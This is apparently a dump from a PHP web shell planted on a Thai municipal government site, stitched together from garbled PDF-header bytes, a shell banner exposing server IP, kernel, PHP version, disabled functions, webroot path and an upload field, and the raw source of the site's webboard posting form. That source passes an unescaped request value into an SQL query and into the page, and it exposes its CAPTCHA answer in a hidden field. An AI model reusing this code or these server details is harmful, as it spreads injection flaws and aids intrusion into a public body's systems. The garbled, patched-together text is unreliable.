%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<!-- InstanceEndEditable -->
<?php
require_once('../admin/Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ 99/9 1 Ӻ 觢ҹ ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #3CFFFF;
}
-->
</style>
<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons'
async='async" type='text/javascript'> -->
</script>
<!--styles -->
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>
<body background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">
<!-- content -->
<div align="center">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><tr>
<td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
<table width="98%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div align="center"><?
include("config.inc.php");
// Ǵͧ纺
mysql_connect($host,$user_db,$passwd_db);
mysql_query ("SET NAMES 'tis620'");
$c_sql = "select * from webboard_category where cat_name='$Category' ";
$c_result = mysql_db_query($dbname,$c_sql);
$c_NRow = mysql_num_rows($c_result);
$c_row = mysql_fetch_array($c_result);
$nlist = $c_row["cat_title"];
$logo = $c_row["cat_logo"];
if($c_NRow==0) {
echo "<center><br>";
echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
echo "<br>";
echo "</center>";
exit();
}
mysql_close();
//
?></div></td>
</tr>
<tr>
<td height="30" class="title2"><div align="center"><? echo $nlist; ?></div></td>
</tr>
<tr>
<td> </td>
</tr>
<?
function ranDomStr($length){
$str2ran = '0123456789'; //string 㹡 random öŴͧ
$str_result = ""; //ʵԧҧѺѺҨҡ random
while(strlen($str_result)<$length){ //ǹٻҨʵԧǷͧ
$str_result .= substr($str2ran,(rand()%strlen($str2ran)),1); // string ҡ substring ҡ random ˹ 1 ҨФúǷ
}
return($str_result);//觤ҡѺ
}
$ran_str = randomstr(6);// random string
?>
<tr>
<td><div align="center"><form method=post action="post.php?Category=<? echo $Category; ?>" name="webForm" onSubmit="return check()" ENCTYPE="multipart/form-data">
<table width="500" border="0" cellpadding="1" cellspacing="1" class="box-center">
<tr bgcolor="#fbfbfb">
<td height="25" colspan="3" background="../images/bg4.gif" class="styles"><div align="center">ԭ駤ӶͧسѺ</div></td>
</tr>
<tr bgcolor="#fbfbfb">
<td width="120" class="title"><div align="left">Ӷ</div></td>
<td width="30"><div align="center"><img src="pic/checklist.gif"></div></td>
<td width="350"><input name="QTitle" type=text class="blue" size=52 maxlength=100></td>
</tr>
<tr>
<td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">´</div></td>
<td width="30" valign="top" bgcolor="#fbfbfb"><div align="center"><img src="pic/checklist.gif"></div></td>
<td width="350" bgcolor="#fbfbfb"><textarea name="QNote" cols="55" rows="5" class="text_box"></textarea></td>
</tr>
<tr bgcolor="#fbfbfb">
<td width="120" class="title"><div align="left"></div></td>
<td width="30"><div align="center"><img src="pic/checklist.gif"></div></td>
<td width="350"><input name="QName" type=text class="blue" value="" size=30 maxlength=20></td>
</tr>
<tr bgcolor="#fbfbfb">
<td width="120" class="title"><div align="left"></div></td>
<td width="30"> </td>
<td width="350"><input name="QEmail" type=text class="blue" id="QEmail" size=40 maxlength=30></td>
</tr>
<tr bgcolor="#fbfbfb">
<td width="120" valign="top" class="title"><div align="left">ٻẺ</div></td>
<td width="30"> </td>
<td width="350"><a href="javascript:setsmile('[---]')"><img src="pic/indent.gif" border=0 alt="˹"></a> <a href="javascript:setBold()"><img src="pic/b.gif" border=0 alt="˹"></a> <a href="javascript:setsup()"><img src="pic/sup.gif" border=0 alt="¡"></a> <a href="javascript:setsub()"><img src="pic/sub.gif" border=0 alt=""></a> <a href="javascript:setglow()"><img src="pic/glow.gif" border=0 alt="˹ѧͧʧ"></a> <a href="javascript:setshadow()"><img src="pic/shadow.gif" border=0 alt="˹ѧ"></a> <a href="javascript:setItalic()"><img src="pic/i.gif" border=0 alt="§"></a> <a href="javascript:setUnderline()"><img src="pic/u.gif" border=0 alt=""></a> <a href="javascript:setColor('red','ᴧ')"><img src="pic/redcolor.gif" border=0 alt="ᴧ"></a> <a href="javascript:setColor('green','')"><img src="pic/greencolor.gif" border=0 alt=""></a> <a href="javascript:setColor('blue','Թ')"><img src="pic/bluecolor.gif" border=0 alt="չԹ"></a> <a href="javascript:setColor('orange','')"><img src="pic/orangecolor.gif" border=0 alt=""></a> <a href="javascript:setColor('pink','')"><img src="pic/pinkcolor.gif" border=0 alt="ժ"></a> <a href="javascript:setColor('gray','')"><img src="pic/graycolor.gif" border=0 alt=""></a></td>
</tr>
<tr>
<td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">ͤ</div></td>
<td width="30" bgcolor="#fbfbfb"> </td>
<td width="350" bgcolor="#fbfbfb"><a href="javascript:setsmile(':b1:')"><img src="pic/b1.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b2:')"><img src="pic/b2.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b3:')"><img src="pic/b3.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b4:')"><img src="pic/b4.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b5:')"><img src="pic/b5.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b6:')"><img src="pic/b6.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b7:')"><img src="pic/b7.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b8:')"><img src="pic/b8.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b9:')"><img src="pic/b9.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b10:')"><img src="pic/b10.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b11:')"><img src="pic/b11.gif" width="21" height="21" border="0"></a></td>
</tr>
<? if ($a_pic=="1") {
echo "<tr bgcolor=#fbfbfb>
<td valign=top class=title height=45><div align=left>áҾ</div></td>
<td> </td><td><table width=100% border=0>
<td class=red> <input name=QPic type=file class=blue><br>
ҴҾ Թ $Image_msg </td></tr></table></td></tr>";
}
else { echo ""; } ?>
<tr>
<td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">觢 </div></td>
<td width="30" valign="top" bgcolor="#fbfbfb"> </td>
<td width="350" valign="top" bgcolor="#fbfbfb"><img src="pic_text.php?str=<?=$ran_str?>"> <input name="code_input" type="text"><input type="hidden" name="code_hidden" value="<?=$ran_str?>"> </td>
<tr>
<td colspan="3" valign="top" bgcolor="#fbfbfb"><div align="center"><input type=submit class="blue" value="觤Ӷ">
<input type=reset class="blue" value=" ¡ԡ "></div></td>
</tr>
</table>
</form>
</div></td>
</tr>
<tr>
<td><script language="JavaScript">
function check()
{
var v1 = document.webForm.QTitle.value;
var v2 = document.webForm.QNote.value;
var v3 = document.webForm.QName.value;
if ( v1.length<5)
{
alert("سһӶ ҧ 5 ѡäѺ ");
document.webForm.QTitle.focus();
return false;
}
else if (v2.length<5)
{
alert("سһ´ ҧ 5 ѡäѺ");
document.webForm.QNote.focus();
return false;
}
else if (v3.length==0)
{
alert("سһͼ");
document.webForm.QName.focus();
return false;
}
else
return true;
}
function setURL()
{
var temp = window.prompt(' URL سͧҧԧ','http://');
if(temp) setsmile('[url]'+temp+'[/url]');
}
function setImage()
{
var temp = window.prompt(' URL ͧٻسͧʴ㹡зͧس','http://');
if(temp) setsmile('[img]'+temp+'[/img]');
}
function setBold()
{
var temp = window.prompt('ͤسͧ÷繵˹','');
if(temp) setsmile('[b]'+temp+'[/b]');
}
function setItalic()
{
var temp = window.prompt('ͤسͧ÷繵§','');
if(temp) setsmile('[i]'+temp+'[/i]');
}
function setsup()
{
var temp = window.prompt('ͤسͧ÷繵¡','');
if(temp) setsmile('[sup]'+temp+'[/sup]');
}
function setsub()
{
var temp = window.prompt('ͤسͧ÷繵','');
if(temp) setsmile('[sub]'+temp+'[/sub]');
}
function setglow()
{
var temp = window.prompt('ͤسͧ÷繵ͧʧ','');
if(temp) setsmile('[glow]'+temp+'[/glow]');
}
function setshadow()
{
var temp = window.prompt('ͤسͧ÷繵ͧʧ','');
if(temp) setsmile('[shadow]'+temp+'[/shadow]');
}
function setUnderline()
{
var temp = window.prompt('ͤسͧ','');
if(temp) setsmile('[u]'+temp+'[/u]');
}
function setColor(color,name)
{
var temp = window.prompt('ͤسͧ'+name,'');
if(temp) setsmile('[color='+color+']'+temp+'[/color]');
}
function setsmile(what)
{
document.webForm.QNote.value = document.webForm.elements.QNote.value+" "+what;
document.webForm.QNote.focus();
}
</script></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td class="styles2"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">ʴӶ</a> | </div></td>
</tr>
<tr>
<td> </td>
</tr>
</table>
<!-- InstanceEndEditable --></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
</tr>
</table>
</div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>